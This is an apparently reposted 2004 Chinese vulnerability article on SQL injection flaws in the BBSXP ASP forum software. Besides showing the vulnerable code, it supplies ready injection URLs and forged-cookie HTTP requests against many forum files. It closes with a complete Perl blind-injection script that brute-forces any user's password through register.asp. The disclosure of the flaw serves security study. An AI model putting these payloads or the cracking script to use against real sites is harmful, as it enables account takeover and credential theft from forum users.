您的位置:首页精文荟萃软件资讯 → BBSXP多个文件存在Sql Injection漏洞

BBSXP多个文件存在Sql Injection漏洞

时间:2004/10/7 18:17:00来源:本站整理作者:蓝点我要评论(0)

     >>>Dedicated This Scrap To CaoJing<<<

涉及版本:
BBSXP所有版本
描述:
BBSXP是一款由WWW.BBSXP.COM开发和维护的源代码开放的Asp论坛;由于作者采用的安全防护措施过于简单,导致整个论坛多个文件存在Sql Injection漏洞,非法用户可以很快地智能破解任意用户口令或进行其他恶意攻击。但令人费解的是在BBSXP的说明文档中却有这么句话:"BBSXP经过将近3年的测试,可说是不存在任何BUG,而其他论坛程序BUG可说多多,你能放心使用吗?"
具体:
BBSXP在对用户输入和cookie的审查上竟然只用了类似如下的简单处理:
---------------------------------------------------
if instr(username," ")>0 then:error("

非法操作"):end if
if Request.Cookies("username")="" then
error("

您还还未

登陆社区")
---------------------------------------------------
仅仅限制空格就能把Sql Injection排除在外?搞笑,我们先看个例子
---------------------------------------------------
login.asp
...
if instr(username," ")>0 then:error("

非法操作"):end if '只限制空格,Faint!
sql="select * from user where username='"&username&"'"
rs.Open sql,Conn
if rs.eof then
message=message&"

此用户名还未

注册" '超级失败,竟然还使用如此低级设计
error(""&message&"")
end if
if userpass<>rs("userpass") then
message=message&"

您输入的密码错误" '摆明了返回准确信息给攻击者判断
...
---------------------------------------------------
显然这里不能来个 username=root' and len(userpass)=6 and '1,但没有空格我们照样玩:
http://www.target.com/asp/bbsxp/bbsxp/login.asp?menu=add&url=&username=root'and(len(userpass)=6)and'1&userpass=asd&Submit1=+%B5%C7%C2%BD+
可判断”设立条件成功”返回的字符串:您输入的密码错误;即返回“您输入的密码错误”则说明root用户的密码长度是6位,接着使用left()、right()可以推算出密码了,但手工推测是很吃力的,我们可以根据提交一个请求后的返回值判断我们设立的条件成功与否,这样可以写个小的密码破解程序,本文结尾附了我写的一个测试程序。
再看一个构造cookie来达到Sql Injection的例子:
---------------------------------------------------
usercp.asp:
-------------包含文件setup.asp中的关键代码
sql="select * from user where username='"&Request.Cookies("username")&"'"
if Request.Cookies("userpass")<>us("userpass") then
Response.Cookies("username")="" 
Response.Cookies("userpass")="" '如果密码不对cookie清空
end if
userface=""&us("userface")&"" '败笔,保存了一个值,可作返回值判断
-------------setup.asp中的关键代码结束
用户头像
src="images/face/

<%=userface%>.gif"> '用这个信息作为判断
---------------------------------------------------
如果我们提交如下请求:
$request= "GET /asp/bbsxp/bbsxp/usercp.asp HTTP/1.0\r\n".
"Host: $host\r\n".
"Cookie:eremite=0;username=root'and(len(userpass)%3d6)and'1'%3d'1;userpass=i\n\n";
返回的<%=userface%>不为空的话,则证明root密码为6位,其余一切和上面例子一样!

还想要例子吗?比如说:
register.asp:
http://www.target.com/asp/bbsxp/bbsxp/register.asp?menu=Check&username=root'and(len(userpass)=6)and'1
可判断条件成功返回字符串:已经有用户使用,请另外选择一个用户名
profile.asp:
http://www.target.com/asp/bbsxp/bbsxp/profile.asp?username=root'and(len(userpass)=6)and'1
可判断条件成功返回字符串:用户类型
shop.asp:
$request= "GET /asp/bbsxp/bbsxp/shop.asp HTTP/1.0\r\n".
"Host: $host\r\n".
"Cookie:eremite=0;username=root'and(len(userpass)%3d6)and'1'%3d'1;userpass=iamod\n\n";
可判断条件成功返回字符串:密码错误
recycle.asp:
$request= "GET /asp/bbsxp/bbsxp/recycle.asp HTTP/1.0\r\n".
"Host: $host\r\n".
"Cookie:eremite=0;username=root'and(len(userpass)%3d6)and'1'%3d'1;userpass=iamod\n\n";
可判断条件成功返回字符串:本论坛共有

由于篇幅所限,就不一一列举了;此外还有RecoverPasswd.aspv、prison.asp、play.asp、friend.asp、faction.asp、bank.asp...大量文件存在相同问题,真是令人汗颜!

如下是一个通过register.asp文件来破解用户口令的小程序(很快的哦),当然,稍作修改便可用于其他存在相同缺陷的文件或场合:

#!/usr/bin/perl
#Codz By PsKey2003/3/29
#This Script can crack BBSXP user's password

$|=1;
use Socket;
use Getopt::Std;
getopt('hpwu');

print "==========================================\n";
print "Codz By PsKey2003/3/29\n";
print "==========================================\n";

&usage unless ( defined($opt_h) && defined($opt_w) && defined($opt_u));

$host=$opt_h;
$port=$opt_p||80;
$way=$opt_w;
$user=$opt_u;

print "\nPlease wait...\n\n";

@dic=(0..100);
for ($i=0;$i<@dic;$i++)
{
$username=$user."'and(len(userpass)='$dic[$i]')and'1";
$request = "GET $way?menu=Check&username=$username HTTP/1.0\r\n".
"Host: $host\r\n".
"Cookie: eremite=0;\n\n";
print "$dic[$i].";
@in = sendraw($request);
@num=grep /已经有用户使用/, @in;
$size=@num;
if ($size > 0) {
print "\n\nSuccessful,The length of the password is $dic[$i] .\n\n";
$lenpwd=$dic[$i];
last;
}
}

for ($j=1;$j<=$lenpwd;$j++)
{
@dic11=(0..9);
@dic12=(a..z);
@special=qw(` ~ ! @ # $ %25 ^ %26 * \( \) _ %2b = - { } [ ] : " ; < > ? | , . / \\);
@special2=qw( ` ~ ! · # ¥ % …… — * ( ) —— + - = { } [ ] : ” “ ; ’ 《 》 ? | , 。 / 、 〈 〉 ');
@dic=(@dic11,@dic12,@special,@special2);
for ($i=0;$i<@dic;$i++)
{
$key=$pws.$dic[$i];
$username=$user."'and(left(userpass,$j)='$key')and'1";
$request = "GET $way?menu=Check&username=$username HTTP/1.0\r\n".
"host:$host\r\n".
"Cookie: eremite=0;\n\n";
print "$dic[$i].";
@in = sendraw($request);
@num=grep /已经有用户使用/, @in;
@num1=grep /操作符丢失/, @in;
$size=@num;
$size1=@num1;
if ($size > 0) {
$th=$j.th;
print "\nSuccessful,The $th word of the password is $dic[$i] \n";
$pws=$pws.$dic[$i];
last;
}
elsif ($size1 > 0)
{
$th=$j.th;
print "\nSuccessful,The $th word of the password is $dic[$i] \n\n";
print " ☆☆☆☆Attention☆☆☆☆ \n";
print "Something wrong,i can't go on,so you should crack it yourself!Poor...\n";
exit 0;
}
}
}

$pws=~s/\%2b/\+/ig;
$pws=~s/\%25/\%/ig;
$pws=~s/\%26/\&/ig;

print "\n\nSuccessful,the full password of $user is $pws.\n";

sub usage {
print qq~
Usage: $0 -h  [-p ] -w  -u 
-h =hostname you want to crack
-p =port,80 default
-w =the path of the weak file
-u =the user you want to crack

Eg: $0 -h www.target.com -p 80 -w /bbsxp/register.asp -u root
~;
exit;
}


#thanx rfp's sendraw 
sub sendraw {
my ($request) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket
problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $request;
my @in = ;
select(STDOUT);
close(S);
return @in;
}
else {
die("Can't connect...\n");
}
}

后记:BBSXP还存在其他很多问题,有兴趣的朋友可以看看--)。

相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么

文章评论
发表评论

热门文章 360快剪辑怎么使用 36金山词霸如何屏幕取词百度收购PPS已敲定!3

最新文章 微信3.6.0测试版更新了微信支付漏洞会造成哪 360快剪辑怎么使用 360快剪辑软件使用方法介酷骑单车是什么 酷骑单车有什么用Apple pay与支付宝有什么区别 Apple pay与贝贝特卖是正品吗 贝贝特卖网可靠吗

人气排行 xp系统停止服务怎么办?xp系统升级win7系统方电脑闹钟怎么设置 win7电脑闹钟怎么设置office2013安装教程图解:手把手教你安装与qq影音闪退怎么办 QQ影音闪退解决方法VeryCD镜像网站逐个数,电驴资料库全集同步推是什么?同步推使用方法介绍QQ2012什么时候出 最新版下载EDiary——一款好用的电子日记本